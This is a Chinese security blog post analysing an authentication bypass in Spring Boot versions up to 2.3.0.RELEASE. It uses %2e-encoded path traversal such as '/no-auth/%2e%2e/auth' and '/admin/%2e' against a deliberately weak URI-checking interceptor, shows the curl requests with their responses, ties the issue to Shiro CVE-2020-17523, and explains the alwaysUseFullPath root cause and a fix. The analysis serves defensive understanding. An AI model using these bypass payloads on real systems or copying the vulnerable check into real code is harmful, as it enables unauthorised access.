分享一个Spring Boot中关于%2e的小Trick。先说结论，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。而反过来由于高版本将alwaysUseFullPath自动配置成了true从而开启全路径，又可能导致一些安全问题。
这里我们来通过一个例子看一下这个Trick，并分析它的原因。
首先我们先来设置Sprin Boot版本
<parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.3.0.RELEASE</version> <relativePath/> <!-- lookup parent from repository --> </parent> |
编写一个Controller
@RestController public class httpbinController { @RequestMapping(value = "no-auth", method = RequestMethod.GET) public String noAuth() { return "no-auth"; } @RequestMapping(value = "auth", method = RequestMethod.GET) public String auth() { return "auth"; } } |
接下来配置对应的Interceptor来实现对除no-auth以外的路由的拦截
@Configuration public class WebMvcConfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(handlerInterceptor()) //配置拦截规则 .addPathPatterns("/**"); } @Bean public HandlerInterceptor handlerInterceptor() { return new PermissionInterceptor(); } } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
@Component public class PermissionInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String uri = request.getRequestURI(); uri = uri.replaceAll("//", "/"); System.out.println("RequestURI: "+uri); if (uri.contains("..") || uri.contains("./") ) { return false; } if (uri.startsWith("/no-auth")){ return true; } return false; } } |
由上面代码可以知道它使用了getRequestURI来进行路由判断。通常你可以看到如startsWith，contains 这样的判断方式，显然这是不安全的，我们绕过方式由很多比如..或..;等，但其实在用startsWith来判断白名单时构造都离不开跨目录的符号..
那么像上述代码这种情况又如何来绕过呢?答案就是%2e
发起请求如下
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth" * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /no-auth/%2e%2e/auth HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 200 < Content-Type: text/plain;charset=UTF-8 < Content-Length: 4 < Date: Wed, 14 Apr 2021 13:22:03 GMT < * Connection #0 to host 127.0.0.1 left intact auth * Closing connection 0 |
RequestURI输出为
RequestURI: /no-auth/%2e%2e/auth |
可以看到我们通过%2e%2e绕过了PermissionInterceptor的判断，同时匹配路由成功，很显然应用在进行路由匹配时会进行路径标准化包括对%2e解码以及处理跨目录即如果存在/../则返回上一级目录。
我们再来切换Spring Boot版本再来看下
<version>2.3.1.RELEASE</version> |
发起请求，当然也是过了拦截，但没有匹配路由成功，返回404
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth" * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /no-auth/%2e%2e/auth HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 404 < Vary: Origin < Vary: Access-Control-Request-Method < Vary: Access-Control-Request-Headers < Content-Length: 0 < Date: Wed, 14 Apr 2021 13:17:26 GMT < * Connection #0 to host 127.0.0.1 left intact * Closing connection 0 |
RequestURI输出为
RequestURI: /no-auth/%2e%2e/auth |
可以得出结论当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，其在路由匹配时会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。
那么又为什么会这样？
在SpringMVC进行路由匹配时会从DispatcherServlet开始，然后到HandlerMapping中去获取Handler，在这个时候就会进行对应path的匹配。
我们来跟进代码看这个关键的地方org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
这里就出现有趣的现象，在2.3.0.RELEASE中alwaysUseFullPath为默认值false
而在2.3.1.RELEASE中alwaysUseFullPath被设置成了true
这也就导致了不同的结果，一个走向了getPathWithinApplication而另一个走向了getPathWithinServletMapping
在getPathWithinServletMapping 中会获取ServletPath，ServletPath会对uri标准化包括先解码然后处理跨目录等，这个很多讲Tomcat uri差异的文章都提过了，就不多说了。而getPathWithinApplication中主要是先获取RequestURI然后解码但之后没有再次处理跨目录，所以保留了..因此无法准确匹配到路由。到这里我们可以看到这两者的不同，也解释了最终出现绕过情况的原因。
那么Trick的具体描述就成了当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。
而这和Shiro的CVE-2020-17523中的一个姿势形成了呼应，只要高版本Spring Boot就可以了不用非要手动设置alwaysUseFullPath
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ curl -v http://127.0.0.1:8080/admin/%2e * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET /admin/%2e HTTP/1.1 > Host: 127.0.0.1:8080 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 200 < Content-Type: text/plain;charset=UTF-8 < Content-Length: 10 < Date: Wed, 14 Apr 2021 13:48:33 GMT < * Connection #0 to host 127.0.0.1 left intact admin page* Closing connection 0 |
因为混合使用Spring Framework依赖时用户需要明确配置而Spring Boot会自动配置Spring Framework，所以在使用Spring Boot的时候官方提供了shiro-spring-boot-web-starter依赖来支持UrlPathHelper（https://shiro.apache.org/spring-boot.html）这样可以解决这类问题，上面这种姿势也就不存在了。对于非Spring Boot应用你可以通过这种方式（https://shiro.apache.org/spring-framework.html#web-applications）来配置UrlPathHelper。感兴趣的可以再看看说不定有额外收获。
话说回来，可是为什么在高版本中alwaysUseFullPath会被设置成true呢？
这就要追溯到org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中
在spring-boot-autoconfigure-2.3.1.RELEASE中
为什么要这样设置？我们查看git log这里给出了答案。
https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af
当Servlet映射为”/”时，官方认为这样配置是更有效率的，因为需要请求路径的处理较少。
配置servlet.path可以通过如下，但通常不会这样配置除非有特殊需求。
spring.mvc.servlet.path=/test/ |
所以最后，当Spring Boot版本在小于等于2.3.0.RELEASE的情况下，alwaysUseFullPath为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对%2e解码以及处理跨目录，这可能导致身份验证绕过。而高版本为了提高效率对alwaysUseFullPath自动配置成了true从而开启全路径，这又造就了Shiro的CVE-2020-17523中在配置不当情况下的一个利用姿势，如果代码中没有提供对此类参数的判断支持，那么就可能会存在安全隐患。其根本原因是Spring Boot自动配置的内容发生了变化。
如有侵权请联系:admin#unsafe.sh